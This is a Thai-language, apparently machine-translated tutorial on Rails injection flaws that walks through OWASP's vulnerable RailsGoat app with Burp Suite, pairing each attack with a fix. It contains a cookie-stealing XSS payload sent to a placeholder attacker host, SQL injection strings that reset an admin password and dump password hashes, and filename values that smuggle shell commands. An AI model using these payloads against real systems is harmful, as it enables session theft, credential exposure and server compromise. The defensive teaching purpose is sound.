Computer >> คอมพิวเตอร์ >  >> การเขียนโปรแกรม >> Ruby

ภัยคุกคามด้านความปลอดภัยของ Rails:การฉีด

หากคุณจัดการกับข้อมูลผู้ใช้ คุณต้องแน่ใจว่าข้อมูลนั้นปลอดภัย อย่างไรก็ตาม หากคุณเพิ่งเริ่มใช้ความปลอดภัย อาจดูยุ่งยาก น่าเบื่อ และซับซ้อน

บทความนี้เป็นบทความชุดแรกในซีรีส์ที่จะสอนคุณเกี่ยวกับประเภทช่องโหว่ด้านความปลอดภัยทั่วไปและผลกระทบต่อการพัฒนา Rails เราจะใช้ OWASP Top 10 Web Application Security Risks เป็นแผนที่ของเราผ่านภูมิประเทศนี้

OWASP ย่อมาจาก Open Web Application Security Project เป็นกลุ่มผู้เชี่ยวชาญที่ทำงานเพื่อให้ความรู้แก่โลกเกี่ยวกับปัญหาด้านความปลอดภัยที่สำคัญบนเว็บ 10 อันดับแรก list ระบุช่องโหว่ที่พบบ่อยที่สุดในแอปพลิเคชันเว็บ:

  1. การฉีด
  2. การตรวจสอบสิทธิ์ใช้งานไม่ได้
  3. การเปิดเผยข้อมูลที่ละเอียดอ่อน
  4. เอนทิตีภายนอก XML (XXE)
  5. การควบคุมการเข้าใช้งานเสีย
  6. การกำหนดค่าความปลอดภัยผิดพลาด
  7. Cross-site Scripting (XSS)
  8. ดีซีเรียลไลเซชันที่ไม่ปลอดภัย
  9. การใช้ส่วนประกอบที่มีช่องโหว่ที่ทราบ
  10. การบันทึกและการตรวจสอบไม่เพียงพอ

แม้ว่าพวกเขาจะอัปเดตรายการเป็นประจำ แต่ก็เปลี่ยนแปลงน้อยกว่าที่คุณคาดไว้ เทคโนโลยีใหม่สืบทอดปัญหาเก่า ในงานชิ้นนี้ เราจะกล่าวถึงสามหัวข้อที่เกี่ยวข้องกับการฉีด:

  • JavaScript Injection - เมื่อแอปพลิเคชันยอมรับข้อมูลที่เป็นอันตรายจากลูกค้า อย่าตรวจสอบ/ฆ่าเชื้อข้อมูล และส่งกลับไปยังเบราว์เซอร์
  • SQL Injection - เมื่อชิ้นส่วนของ SQL ถูกส่งโดยเจตนาโดยเป็นส่วนหนึ่งของการสืบค้นฐานข้อมูลไปยังล่าม SQL ที่ไม่ปลอดภัย หลอกให้ล่ามเรียกใช้คำสั่งที่เป็นอันตรายหรือเข้าถึงข้อมูลที่ละเอียดอ่อน
  • OS Injection - เมื่อผู้โจมตีมุ่งหมายที่จะเรียกใช้คำสั่งของระบบในแอปพลิเคชันที่ไม่ได้รับการป้องกันซึ่งป้อนข้อมูลจากคำสั่งของระบบ

เราจะไปจากทฤษฎีสู่การปฏิบัติเพื่อแสดงให้เห็นอย่างสมบูรณ์ว่าแต่ละทฤษฎีทำงานอย่างไร มาดำน้ำกันเถอะ!

ภัยคุกคามจากการฉีด

หากคุณจัดการแหล่งข้อมูลในแอปพลิเคชันของคุณ แสดงว่าคุณมีเวกเตอร์การฉีดที่เป็นไปได้อยู่ภายในนั้น เมื่อพูดถึงวิธีที่สร้างสรรค์และสร้างสรรค์ในการแฮ็กแอปของคุณ แฮกเกอร์ยังคงคิดค้นสิ่งใหม่ๆ ที่จะทำให้คุณประหลาดใจ

มาเริ่มกันที่โลกแห่งการโจมตีของการฉีด หากคุณคิดว่าแอปของคุณปลอดภัยและได้รับการปกป้อง ให้คิดใหม่

การฉีด JavaScript

การแทรก JavaScript หรือที่เรียกกันทั่วไปว่า cross-site scripting (XSS) เป็นการหลอกลวงให้แอปพลิเคชันแบ็กเอนด์ (ซึ่งลูกค้าเชื่อถือ) ให้ส่งข้อมูลที่เป็นอันตรายและ/หรือสคริปต์กลับไปยังเบราว์เซอร์

เมื่อสิ่งนี้เกิดขึ้น ผู้โจมตีสามารถเรียกใช้สคริปต์ในเบราว์เซอร์ของผู้ใช้เพื่อขโมยเซสชัน ขอข้อมูลที่ละเอียดอ่อน "ในชื่อ" แอปพลิเคชัน หรือเปลี่ยนเส้นทางผู้ใช้ไปยังเว็บไซต์ที่เป็นอันตราย

ลองใช้ส่วนความคิดเห็นบล็อกที่มีชื่อเสียงเป็นตัวอย่าง ลองนึกภาพว่าแอปพลิเคชันของคุณมีความเสี่ยงอย่างสมบูรณ์และได้รับ POST สำหรับความคิดเห็นใหม่ในบล็อกของคุณ และค่าจะถูกส่งไปยังฐานข้อมูลโดยตรงโดยไม่มีการฆ่าเชื้อ:

POST https://myblog.com/comments
data: <script>window.location='https://attacker.com?cookie='+document.cookie</script>

เมื่อเว็บไซต์ของคุณโหลดส่วนความคิดเห็นซ้ำ ระบบจะดึงความคิดเห็นใหม่ซึ่งจะเรียกใช้สคริปต์ที่กำหนดบนเบราว์เซอร์

สคริปต์ซึ่งทำงานภายในหน้าแอปพลิเคชัน (ยอมรับได้ทั้งหมด) รับข้อมูลคุกกี้ของผู้ใช้และส่งไปยังไซต์ของผู้โจมตีโดยตรง

การฉีด SQL

การฉีด SQL เกิดขึ้นเมื่อแอปพลิเคชันที่เกี่ยวข้องกับฐานข้อมูล SQL ไม่ได้ล้างข้อมูลอินพุตของผู้ใช้อย่างปลอดภัยทุกครั้งที่อินพุตนี้ถูกเชื่อม (หรือสอดแทรก) กับข้อความค้นหาใดๆ ของคุณ

มีภัยคุกคามหลักสองประการที่เกี่ยวข้องกับการฉีด SQL ที่คุณอาจทราบในโลกของ Rails:การต่อกันของการฉีด และ การแก้ไข . มาดูความแตกต่างกัน

การต่อข้อมูลการฉีด SQL มีชื่อเสียงมากที่สุด มันเกิดขึ้นเมื่อผู้โจมตีส่งชิ้นส่วนของ SQL ที่เป็นอันตรายซึ่งเป็นส่วนหนึ่งของพารามิเตอร์การสืบค้น HTTP หรือเนื้อหาคำขอ เป็นเคล็ดลับที่ใช้ได้กับฐานข้อมูลส่วนใหญ่หากเลเยอร์แอปพลิเคชันของคุณไม่สามารถระบุเนื้อหาประเภทนี้และฆ่าเชื้อได้

ตัวอย่างเช่น สมมติว่าคุณกำลังค้นหาผู้ใช้โดยใช้ชื่อผู้ใช้ของเขาหรือเธอเพื่อดึงข้อมูลที่ละเอียดอ่อน:

User.where("name = '#{userName}'")

พิจารณาว่า userName เป็นการป้อนข้อมูลของผู้ใช้ที่ไม่ได้ถูกสุขอนามัย ผู้โจมตีสามารถเปลี่ยนค่าของพารามิเตอร์เป็น

' OR '1'='1' --

ดังนั้น ข้อความค้นหาของคุณจะถูกแปลงเป็น:

SELECT * FROM users WHERE username = '' OR '1'='1';

เนื่องจากเงื่อนไขที่เพิ่มล่าสุดจะเท่ากับ true . เสมอ , แบบสอบถามนี้จะถูกดำเนินการเสมอ โดยเปิดเผยข้อมูลที่ละเอียดอ่อนหลายร้อยชิ้นจากผู้ใช้ของคุณ

การแก้ไข SQL สามารถนำไปสู่การฉีด ยังไง? คุณจำ คุณลักษณะการกำหนดขอบเขต . ได้หรือไม่ ของ ActiveRecord ของ Rails? ช่วยให้เราสามารถระบุการสืบค้นที่คุณใช้จำนวนมากเพื่ออ้างอิงเป็นการเรียกใช้เมธอด (เช่น where , joins และ includes ) บนวัตถุหรือแบบจำลองการเชื่อมโยง ยกตัวอย่างนี้:

class User < ApplicationRecord
  scope :filtered_name, -> { where(name: interpolated_string) }
end

คุณอาจเดาส่วนที่เหลือ หากมี where ข้อ เพื่อให้นักพัฒนาสามารถเชื่อมค่าอินพุตที่ไม่ถูกสุขลักษณะได้ มันจะนำไปสู่การฉีด SQL แบบเดียวกันในตัวอย่างก่อนหน้านี้

การฉีด OS

การแทรก OS เกิดขึ้นเมื่อแอปพลิเคชันอนุญาตให้ผู้ใช้ป้อนคำสั่งระดับระบบและไม่กรองคำสั่งเหล่านั้น

ผลที่ตามมาอาจเป็นอันตรายได้ เนื่องจากผู้โจมตีจะมีช่องสัญญาณฟรีไปยังระบบปฏิบัติการที่แอปพลิเคชันทำงานอยู่ มันสามารถเปิดเผยข้อมูลและไฟล์จากแอปพลิเคชันอื่นๆ ที่ทำงานอยู่ที่นั่นได้เช่นกัน

ทั้งนี้ขึ้นอยู่กับการตั้งค่าเลเยอร์ความปลอดภัยพื้นฐานของระบบปฏิบัติการ

เมื่อใดก็ตามที่คุณเห็นบรรทัดโค้ดใดบรรทัดหนึ่งต่อไปนี้ในฐานโค้ดของ Rails โปรดทราบว่าอาจมีการฉีด OS ที่นั่น:

%x[...]
system()
exec()
`my command` // the backticks

พิจารณาการใช้งาน Rails ต่อไปนี้:

new_path = "/root/public/images/#{some_path}"
system("ls #{new_path}")

ระบุว่า some_path มาจากไคลเอนต์ ผู้โจมตีสามารถส่งค่าได้ดังนี้:

some_path = 'some/path; cat ./config/database.yml'

คุณเข้าใจแล้วใช่ไหม ข้อมูลฐานข้อมูลทั้งหมด รวมถึงข้อมูลประจำตัว (หากไม่ได้จัดเก็บอย่างปลอดภัยในการกำหนดค่าคลาวด์) จะถูกเปิดเผยต่อผู้โจมตี

โครงการ RailsGoat

เพื่อประหยัดเวลาและไม่ต้องพัฒนาตัวอย่างที่เปราะบางตั้งแต่เริ่มต้น โชคดีที่เรามีโครงการ RailsGoat มันเป็นหนึ่งในโครงการโอเพนซอร์ซมากมาย (754 โครงการ) ที่ให้บริการโดยที่เก็บ OWASP GitHub อย่างเป็นทางการ ซึ่งสร้างขึ้นสำหรับ Rails โดยมีช่องโหว่ 10 อันดับแรกส่วนใหญ่ที่ตั้งโปรแกรมไว้เพื่อให้ความรู้นักพัฒนาเกี่ยวกับภัยคุกคามด้านความปลอดภัย

ในชุดนี้ เราจะใช้ตัวอย่างโครงการเพื่อสำรวจความเสี่ยงให้ลึกขึ้นอีกเล็กน้อยและนำไปปฏิบัติจริงได้ดียิ่งขึ้น!

ตั้งค่า

ก่อนที่คุณจะไปต่อ โปรเจ็กต์นี้มีการอ้างอิงที่จำเป็น:Ruby, Git, MySQL และ Postgres ตรวจสอบให้แน่ใจว่าได้ติดตั้งทั้งหมดไว้ในเครื่องของคุณก่อนที่จะดำเนินการต่อไป

หากต้องการตั้งค่าโปรเจ็กต์ ก่อนอื่น ให้โคลนในเครื่อง:

git clone https://github.com/OWASP/railsgoat.git

มีการกำหนดเป้าหมายเป็นค่าเริ่มต้นใน Ruby 2.6.5 ดังนั้นโปรดติดตั้งเวอร์ชันที่ถูกต้องหากคุณยังไม่มี:

rvm install "ruby-2.6.5"

ถัดไป ออกคำสั่งต่อไปนี้ในโฟลเดอร์รูทของแอป:

bundle install
rails db:setup
rails s

พวกเขาจะดาวน์โหลดและติดตั้งการขึ้นต่อกันของโปรเจ็กต์ Rails ตั้งค่าฐานข้อมูล และเริ่มเซิร์ฟเวอร์ Rails ตามลำดับ

การปรับเปลี่ยนเล็กน้อย

ขึ้นอยู่กับระบบปฏิบัติการของคุณและเนื่องจาก RailsGoat ค่อนข้างล้าสมัย (รุ่นล่าสุดคือมีนาคม 2018) install คำสั่งอาจสร้างข้อผิดพลาดบางอย่าง ตัวอย่างเช่น หากคุณใช้ Mac และพบข้อผิดพลาดต่อไปนี้ที่คอนโซลของคุณ:

ภัยคุกคามด้านความปลอดภัยของ Rails:การฉีด ข้อผิดพลาดของคอนโซลเกี่ยวกับ libv8

จากนั้นเพียงติดตั้งอัญมณีที่ต้องการ:

gem install libv8 -v '3.16.14.19' -- --with-system-v8

อีกอย่างที่น่าจะตำหนิก็คือ therubyracer gem เนื่องจากข้อบกพร่องที่เกี่ยวข้องกับเวอร์ชันนี้ของ Ruby's libv8 . อย่าลืมรันคำสั่งต่อไปนี้:

brew install v8-315
gem install therubyracer -v '0.12.3' -- --with-v8-dir=/usr/local/opt/v8@3.15

โดยค่าเริ่มต้น การตั้งค่าปัจจุบันจะถือว่า SQLite เป็นฐานข้อมูลเริ่มต้น อย่างไรก็ตาม สำหรับตัวอย่างต่อไป เราจำเป็นต้องมีฐานข้อมูลจริง เราจะใช้ MySQL

ขั้นแรก เปิดไฟล์ config/database.yml ค้นหา mysql node และเปลี่ยนการกำหนดค่าตามข้อมูลรับรอง MySQL ของคุณ คุณสามารถปล่อยให้ชื่อฐานข้อมูลตามที่เป็นอยู่

หยุดเซิร์ฟเวอร์ Rails และตรวจสอบให้แน่ใจว่ามี MySQL ทำงานอยู่ จากนั้นรันคำสั่งต่อไปนี้:

#Create the MySQL database
RAILS_ENV=mysql rails db:create

#Run the migrations against the database
RAILS_ENV=mysql rails db:migrate

#Seeds the database with initial records
RAILS_ENV=mysql rails db:seed

#Boot Rails using MySQl
RAILS_ENV=mysql rails s

หรือคุณสามารถเริ่ม RailsGoat ผ่าน Docker ขึ้นอยู่กับคุณ!

แค่นั้นแหละ! ตอนนี้คุณสามารถเปิดเบราว์เซอร์และลงชื่อเข้าใช้แอป RailsGoat คุณอาจพบข้อมูลรับรองที่สร้างขึ้นโดยอัตโนมัติที่ปุ่ม "ข้อมูลรับรองบทแนะนำ" ของแถบด้านบน เลือกหนึ่งรายการ แต่ต้องไม่ใช่ผู้ดูแลระบบ

ภัยคุกคามด้านความปลอดภัยของ Rails:การฉีด แอปพลิเคชัน MetaCorp Rails

การตั้งค่าพร็อกซี HTTP

แฮกเกอร์ทำงานโดยการดมกลิ่นสิ่งของต่างๆ ส่วนใหญ่เป็นคำขอ HTTP และการตอบสนอง พวกเขาใช้ประโยชน์จากแอปพลิเคชันพร็อกซี HTTP ที่ทำงานระหว่างเบราว์เซอร์และเซิร์ฟเวอร์โดยการสกัดกั้น แสดงภาพ และแก้ไขคำขอและการตอบสนอง

สำหรับซีรีส์นี้ เราจำเป็นต้องมีหนึ่งในนั้นด้วย และเครื่องมือที่สมบูรณ์แบบสำหรับงานนี้คือ เรอ มันเป็นเครื่องมือแบบชำระเงินสำหรับองค์กร แต่เวอร์ชันชุมชนฟรีนั้นเพียงพอสำหรับวัตถุประสงค์ของเรา ดังนั้น ไปข้างหน้า ดาวน์โหลดและติดตั้งโดยทำตามคำแนะนำอย่างเป็นทางการ

อย่าลืมว่า Burp นั้นสร้างด้วย Java ดังนั้นคุณจะต้องติดตั้ง Java ด้วย

อย่าลืมทำตามคำแนะนำเหล่านี้เพื่อให้ทำงานได้อย่างถูกต้อง เมื่อเปิดเครื่องมือแล้ว ให้ไปที่ Proxy> Intercept ให้สลับปุ่ม "การสกัดกั้นเปิดอยู่ " แล้วตามด้วย "เปิดเบราว์เซอร์ " ซึ่งจะเป็นการเปิด Google Chromium ที่เชื่อมต่อโดยตรงกับ Burp และช่วยให้เราดมกลิ่นคำขอ/ตอบกลับได้

พิมพ์บางอย่างที่นั่นและดูว่า Burp ติดตามสิ่งต่างๆ ได้อย่างไร

ภัยคุกคามในการดำเนินการ

มาดูกันว่าภัยคุกคามที่เราพูดถึงก่อนหน้านี้เกิดขึ้นได้อย่างไรในสถานการณ์จริง เราจะเริ่มต้นด้วยการแทรก JavaScript

การทำงานของการฉีด JavaScript

ในแอป RailsGoat ให้เปิด _header.html.erb ไฟล์ที่อยู่ใน views/layouts/shared โฟลเดอร์ คุณอาจพบตัวอย่าง HTML ต่อไปนี้:

<li style="color: #FFFFFF">Welcome, <%= current_user.first_name.html_safe %></li>

ปรากฎว่าวิธีการ Rails นี้เรียกชื่อที่ปลอดภัยซึ่งไม่ใช่ โดยจะบอกว่าสตริงนั้นเชื่อถือได้หรือไม่ว่าปลอดภัยแต่ไม่ได้ทำให้ข้อมูลของผู้ใช้ปลอดภัย

ตรวจสอบให้แน่ใจว่า Burp ไม่ทำงาน จากนั้นไปที่หน้าลงทะเบียนและพิมพ์ข้อมูลต่อไปนี้ลงในฟิลด์ "First Name":

<script>alert("hello, XSS!")</script>

เสร็จสิ้นการลงทะเบียนและเข้าสู่ระบบด้วยผู้ใช้ที่สร้างขึ้นใหม่ คุณอาจเห็นแถบการนำทางแสดง "Welcome " + the script code .

วิธีแก้ปัญหานี้

นี่เป็นความเข้าใจผิดที่พบบ่อย นักพัฒนามักใช้วิธีนี้ แต่ไม่ได้รักษาความปลอดภัยข้อมูล คุณต้องใช้ sanitize . แทน เมื่อใดก็ตามที่คุณต้องการแสดง HTML อย่างชัดเจน

ในตัวอย่าง เพียงแค่ลบ .html_safe และการโจมตีจะถูกกำจัด

เคล็ดลับที่ดีคือการรวมเครื่องมืออย่าง SonarQube เข้ากับโครงการของคุณ เครื่องมือเหล่านี้จะระบุภัยคุกคามทั่วไปดังที่กล่าวมา และแจ้งเตือนนักพัฒนาเกี่ยวกับอันตรายและวิธีแก้ไข

ไม่ควรอาศัยหน่วยความจำของนักพัฒนาเพียงผู้เดียว

การฉีด SQL:ตัวอย่างการต่อกัน

ตัวอย่างการฉีด RailsGoat SQL ของเราอยู่ภายใน users_controller.rb , ภายใน app/controllers โฟลเดอร์ เปิดและดูเนื้อหา

คุณอาจเห็นสองวิธีหลักในการสร้างและอัปเดตข้อมูลผู้ใช้ภายในฐานข้อมูล คุณตรวจพบสิ่งผิดปกติในupdate .ของเราได้ไหม กระบวนการ? ไปลองเลย!

ไปเลย:

user = User.where("id = '#{params[:user][:id]}'")[0]

คุณรู้ว่ามันไม่ถูกต้องที่จะเชื่อมสิ่งต่าง ๆ ในประโยคที่ แต่มาทดสอบความเป็นไปได้ในการแฮ็กกันก่อนทำการแก้ไข

กลับไปที่แอปที่ทำงานอยู่บนเบราว์เซอร์ Burp Chromium และไปที่ การตั้งค่าบัญชี เมนู:

ภัยคุกคามด้านความปลอดภัยของ Rails:การฉีด

การเข้าถึงการตั้งค่าบัญชี

เมื่อถึงที่นั่นแล้ว ให้เปิดเครื่องมือ Burp และตรวจสอบว่าปุ่ม "เปิดการสกัดกั้น " ถูกสลับ จากนั้น กรอกข้อมูลในฟิลด์รหัสผ่านด้วยค่าบางอย่าง และคลิก ส่ง .

เรอจะสกัดกั้นคำขอและภายใน พารามิเตอร์ แท็บ คุณอาจเห็นสิ่งที่คล้ายกับที่แสดงด้านล่าง

ภัยคุกคามด้านความปลอดภัยของ Rails:การฉีด เครื่องมือ Burp Suite - แท็บพารามิเตอร์

ใช่ พารามิเตอร์คำขอทั้งหมดของคุณจะปรากฏที่นี่ สิ่งเหล่านี้ไม่เพียงมองเห็นได้เท่านั้น แต่ยังสามารถแก้ไขได้ เรอจะระงับคำขอของคุณจนกว่าคุณจะแก้ไขเสร็จแล้วจึงปล่อยไปยังเซิร์ฟเวอร์

คุณสามารถทำเช่นเดียวกันสำหรับคำตอบของคุณ

เยี่ยมมาก มาหลอกลวงแอปพลิเคชันกันเถอะ เป้าหมายของเราคืออัปเดตรหัสผ่านของผู้ดูแลระบบมากกว่าผู้ใช้ที่เข้าสู่ระบบในปัจจุบัน

ขั้นแรก คุณต้องลบ email . ของผู้ใช้ , first_name และ last_name params เนื่องจากเราไม่ได้มุ่งหมายที่จะเปลี่ยนค่าเหล่านี้สำหรับผู้ใช้ที่เป็นผู้ดูแลระบบ

ประการที่สอง คุณสามารถแก้ไข user[id] ค่าพารามิเตอร์ต่อไปนี้:

0') OR admin = true -- '

เกิดอะไรขึ้นที่นี่? ค่าที่แสดงข้างต้น 6 หมายถึง ID ผู้ใช้ที่บันทึกไว้ในปัจจุบัน อย่างไรก็ตาม เราไม่ต้องการเปลี่ยนแปลงอะไรที่เกี่ยวข้องกับผู้ใช้รายนี้ เพียงแค่ผู้ดูแลระบบ ศูนย์ไม่เกี่ยวข้องกับใคร ซึ่งดีตั้งแต่เงื่อนไขหลัง OR คือสิ่งสำคัญสำหรับเรา

พิจารณาว่าเราไม่รู้จัก ID ของผู้ดูแลระบบ (ถ้ารู้ก็จะช่วยประหยัดเวลาได้) เราจึงต้องหลอกให้ฐานข้อมูลเลือกผ่าน admin คอลัมน์บทบาท

เมื่อคุณแก้ไขเสร็จแล้ว ให้คลิกปุ่ม ส่งต่อ เพื่อให้คำขอได้รับการปล่อยตัวและรหัสผ่านของผู้ดูแลระบบจะได้รับการอัปเดต

นี่คือ SQL Rails ที่จะสร้าง:

SELECT `users`.* FROM `users` WHERE (id = '0') OR admin = true -- '')

ตอนนี้ เข้าสู่ระบบบัญชีผู้ดูแลระบบด้วยรหัสผ่านใหม่ของคุณ

วิธีแก้ปัญหานี้

มีวิธีที่ปลอดภัยในการแก้ปัญหานี้ คุณสามารถดึงข้อมูลผู้ใช้จากฐานข้อมูลก่อนที่จะมีการอัปเดต โดยไม่คำนึงถึงสิ่งที่มาจากคำขอของไคลเอ็นต์

อย่างไรก็ตาม ขึ้นอยู่กับรูปแบบการเขียนโค้ดของนักพัฒนา ซึ่งไม่รับประกันเสมอไป

ดังนั้นจึงเป็นการสืบค้นฐานข้อมูลแบบกำหนดพารามิเตอร์เพื่อช่วยเหลือ! มาดูกัน:

user = User.where("id = ?", params[:user][:id])[0]

มันง่ายอย่างนั้น! ไม่มีการแฮ็คอีกต่อไป

การฉีด SQL:ตัวอย่างการประมาณค่า

ใน RailsGoat คำขอแต่ละรายการจะถูกเก็บไว้ในฐานข้อมูลเป็นคุณลักษณะการตรวจสอบ สำหรับตัวอย่างนี้ เรามาวิเคราะห์ analytics.rb class ซึ่งเก็บขอบเขตที่เรียกว่า hits_by_ip . นี่คือคุณลักษณะของผู้ดูแลระบบที่แสดงรายการข้อมูลคำขอจากฐานข้อมูล

มาดูกันว่าโมเดลนี้จะสอดแทรกสตริงภายในขอบเขตอย่างไร:

scope :hits_by_ip, ->(ip, col = "*") { select("#{col}").where(ip_address: ip).order("id DESC") }

อย่างไรก็ตาม วิธีนี้อันตราย! มาดูกันว่าทำไม เนื่องจากคุณเข้าสู่ระบบในฐานะผู้ใช้ทั่วไป บางเมนูจะไม่ปรากฏขึ้น แต่ไม่ได้หมายความว่าปลายทางจะไม่พร้อมใช้งาน ดังนั้น เข้าไปที่ https://localhost:3000/admin/1/analytics address

เนื่องจากเราทำงานในระดับ localhost คุณจะพบเฉพาะข้อมูลใน 127.0.0.1 ไอพี อย่างไรก็ตาม ในการผลิต คุณจะต้องค้นหา IP ไคลเอ็นต์ของคุณ

ดังนั้น พิมพ์ 127.0.0.1 ลงใน "ค้นหาตาม IP " textbox แล้วกด Enter อย่าลืมเปิดปุ่มสกัดกั้นบนเครื่องมือ Burp ของคุณ

เมื่อคุณอยู่ใน Params คุณสามารถคลิก เพิ่ม ปุ่มเพื่อเพิ่มพารามิเตอร์ใหม่ของ URL พิมพ์และตั้งชื่อดังต่อไปนี้:

field[(select+group_concat(password)+from+users+where+admin=true)]

เนื่องจากขอบเขตได้รับสตริงที่มีการสอดแทรก คุณสามารถเพิ่มกฎให้กับคิวรีแบบใช้เลือกข้อมูลได้มากเท่าที่คุณต้องการ ข้อความค้นหานี้จะกลายเป็นสิ่งนี้โดยเฉพาะ:

SELECT (select group_concat(password) from users where admin = true) FROM analytics WHERE ip_address = "127.0.0.1" ORDER BY id DESC;

หมายความว่าเรากำลังดึงรหัสผ่านที่แฮชของผู้ดูแลระบบจากฐานข้อมูลและแสดงไว้ในมุมมองของเราโดยตรง:

ภัยคุกคามด้านความปลอดภัยของ Rails:การฉีด กำลังค้นหารหัสผ่านที่แฮชของผู้ดูแลระบบ

วิธีแก้ปัญหานี้

ก่อนอื่น ตรวจสอบให้แน่ใจว่าผู้ใช้ของคุณจะสามารถเข้าถึงเฉพาะสิ่งที่พวกเขาต้องเข้าถึงเท่านั้น ปลายทางดังกล่าวไม่ควรเข้าถึงหรือไม่มีการป้องกัน

คุณสามารถใช้ไวท์ลิสต์ค่าที่ควรยอมรับและจำกัดค่าที่ไม่ควรอนุญาต ลองดูที่ parse_field เมธอดภายในคลาสโมเดลเดียวกัน จะตรวจสอบว่าฟิลด์ที่กำหนดรวมอยู่ในอาเรย์รายการที่อนุญาตหรือไม่

ดังนั้น ก่อนที่จะเรียกขอบเขตของแบบจำลอง คุณอาจทบทวนพารามิเตอร์และตรวจสอบว่าเหมาะสมหรือไม่ มาทำกันโดยอัปเดตบรรทัดที่ 18 ของ admin_controller.rb (ซึ่งเรียกขอบเขต):

fields = params[:field].map {|k,v| Analytics.parse_field(k) }.join(",")

การทำงานของ OS Injection

มาสำรวจตัวอย่างการฉีด OS ภายใน RailsGoat เปิด benefits.rb โมเดลภายใต้ app/models โฟลเดอร์และดู make_backup วิธีการ

วิธีนี้จะสร้างสำเนาสำรองของไฟล์ที่กำลังอัปโหลดผ่าน “แบบฟอร์มสิทธิประโยชน์ ” ของแอปพลิเคชัน ดูเหมือนจะไม่มีปัญหาที่นี่ ยกเว้นว่าวิธีนี้ใช้system คำสั่ง:

silence_streams(STDERR) { system("cp #{full_file_name} #{data_path}/bak#{Time.zone.now.to_i}_#{file.original_filename}") }

ดูเหมือนถูกต้องตั้งแต่แรกเห็น แต่ดูอีกครั้ง เราสามารถผนวกคำสั่งระบบอื่นๆ จากอินพุตของผู้ใช้ได้อย่างสมบูรณ์ และคำสั่งเหล่านั้นก็ใช้ได้ดี เช่น การสร้างไฟล์

เดี๋ยวก่อน นี่คือคุณสมบัติการอัปโหลดไฟล์ เราจะอัปเดตอินพุตของไฟล์ได้อย่างไร ไปดูกันเลยดีกว่า

กลับไปที่แอป RailsGoat คลิกเมนู "แบบฟอร์มผลประโยชน์" เลือกไฟล์ที่คุณต้องการ แล้วเปิดปุ่มสกัดกั้นเรอ จากนั้นคลิก เริ่มการอัปโหลด .

เมื่อคำขอถูกสกัดกั้น คุณจะเห็นเนื้อหาส่วนหัวดังที่แสดงด้านล่าง

ภัยคุกคามด้านความปลอดภัยของ Rails:การฉีด การอัปโหลดไฟล์ถูกสกัดกั้น

ในภาพ คุณจะเห็นพารามิเตอร์ที่ไฮไลต์อยู่สองพารามิเตอร์:benefits[backup] และ benefits[upload] .

เราต้องเปลี่ยนค่าของอันแรกเป็น true เนื่องจากเราต้องการเปิดใช้งานโฟลว์ที่ทำการสำรองข้อมูลของไฟล์และดังนั้นจึงมีช่องโหว่อยู่

ถัดไป เปลี่ยน filename คุณสมบัติของพารามิเตอร์ที่สองของคุณดังต่อไปนี้:

filename="kid-2.png;+touch+abc.txt"

จากนั้นปล่อยปุ่มสกัดกั้น ซึ่งจะแปลเป็นคำสั่งใหม่เมื่อสิ้นสุดการทำงาน ซึ่งจะสร้างไฟล์ใหม่ชื่อ abc.txt . นอกจากจะเรียบง่ายแล้ว นี่เป็นตัวอย่างที่ดีที่แสดงให้เห็นว่าโฟลว์ของคุณมีช่องโหว่เพียงใด และเป็นสนามเด็กเล่นที่สมบูรณ์แบบสำหรับแฮ็กเกอร์หรือไม่

การป้องกันการแทรก OS

อาจดูเหมือนชัดเจนเล็กน้อย ทำไมมีคนคัดลอกไฟล์ผ่านระบบคำสั่ง? คุณจะต้องตกใจกับจำนวนแอปพลิเคชันรุ่นเก่าที่กำลังจะหมดลง ฐานข้อมูลจำนวนมากประกอบด้วยฐานรหัสขนาดมหึมา ซึ่งสามารถเปลี่ยนงานตรวจจับช่องโหว่ดังกล่าวให้เป็นงานที่ยากได้

ใช่ เพียงใช้ประโยชน์จากไลบรารีภายในอย่างเป็นทางการ เช่น Ruby's FileUtils:

FileUtils.cp
  "#{full_file_name}",
  "#{data_path}/bak#{Time.zone.now.to_i}_#{file.original_filename}"

สรุปผล

วันนี้ เราสำรวจผ่านน่านน้ำเชี่ยวของภัยคุกคามความปลอดภัยฉีด แม้ว่างานชิ้นนี้จะไม่ได้ครอบคลุมปัญหาที่เกี่ยวข้องทั้งหมดเกี่ยวกับปัญหาการฉีด แต่จะสำรวจปัญหาที่มีชื่อเสียงที่สุด ตามที่ OWASP ระบุ

เพื่อเป็นโบนัส ฉันจะให้ลิงก์สำคัญที่จะช่วยปรับปรุงความรู้ของคุณในเรื่องนั้น อันแรกคือบทความ OWASP Top Ten; มีลิงก์ภายนอกมากมายไปยังบทความอื่นๆ ที่มีตัวอย่างและสถานการณ์ต่างๆ

Rails SQL Injection เป็นเอกสารประกอบที่รวบรวมโดยสมาชิกบางคนของชุมชนที่กล่าวถึงการฉีด SQL ทั่วไปผ่านตัวอย่างที่ใช้งานได้จริง เป็นเรื่องที่ต้องอ่านหลังจากที่เราได้กล่าวถึงไปแล้ว

สุดท้ายแต่ไม่ท้ายสุด มีเอกสาร Security Rails อย่างเป็นทางการ ครอบคลุมทุกอย่างเกี่ยวกับความปลอดภัยภายในแอปพลิเคชัน Rails รวมถึงการฉีด ดังนั้นอย่าลืมอ่านให้ละเอียด ศึกษาต่อ แล้วพบกันที่จุดต่อไป!